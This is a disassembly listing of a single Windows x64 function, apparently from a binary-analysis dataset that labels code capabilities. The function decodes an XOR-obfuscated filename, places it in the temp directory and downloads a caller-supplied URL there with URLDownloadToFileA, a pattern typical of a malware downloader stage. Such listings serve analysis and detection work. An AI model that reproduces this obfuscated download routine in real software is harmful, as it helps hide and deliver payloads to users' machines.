Function at 0x140226960
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x210
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140237040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov rsi, rdx
mov r15, rcx
lea rdx, [rbp + 0xa0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x140226cad
movabs rax, 0xeaaf70777a578955
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xb145efdbb28c8047
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xa75f84e45b0a5f8f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rcx, 0xb11c17dab7c3ada
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x99c020120313f017
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xda268e93c6edc318
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xa75f84e437663ba1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x40], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 8], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x18], xmm1
lea rax, [rbp + 0xa0]
mov rbx, 0xffffffffffffffff
vzeroupper
inc rbx
cmp byte [rax + rbx], 0
jne 0x140226a94
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140226cd3
cmp rbx, 0xf
ja 0x140226adf
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], 0xf
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 8]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 8], 0
jmp 0x140226b7b
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140226b14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14022fae0
test rax, rax
je 0x140226b3f
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140226b58
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140226b46
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140226cd9
jmp 0x140226af9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140226b55
call fcn.14022fae0
mov r14, rax
jmp 0x140226b58
xor r14d, r14d
mov qword [rbp + 8], r14
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
lea r8, [rbp + 0x40]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.14022e8f0
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140226bcb
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140226bc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140226bc6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14022fe2c
movdqa xmm0, xmmword [0x140232b80]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], 0
lea rax, [rbp + 0x60]
mov rbx, qword [rbp + 0x78]
cmp rsi, rax
je 0x140226c37
lea r9, [rbp + 0x60]
cmp rbx, 0xf
cmova r9, qword [rbp + 0x60]
mov rax, qword [rsi + 0x18]
mov rdi, qword [rbp + 0x70]
cmp rdi, rax
ja 0x140226c28
mov r14, rsi
cmp rax, 0xf
jbe 0x140226c0f
mov r14, qword [rsi]
mov qword [rsi + 0x10], rdi
mov r8, rdi
mov rdx, r9
mov rcx, r14
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + r14], 0
jmp 0x140226c37
mov rdx, rdi
mov rcx, rsi
call fcn.14022f380
mov rbx, qword [rbp + 0x78]
cmp qword [rsi + 0x18], 0xf
jbe 0x140226c41
mov rsi, qword [rsi]
cmp qword [r15 + 0x18], 0xf
jbe 0x140226c4b
mov r15, qword [r15]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edi, eax
shr edi, 0x1f
xor dil, 1
cmp rbx, 0xf
jbe 0x140226ca9
lea rdx, [rbx + 1]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140226ca4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140226ca4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14022fe2c
movzx eax, dil
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.14022fac0
mov rbx, qword [rsp + 0x250]
add rsp, 0x210
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.140225590
int3
call fcn.1402254f0
int3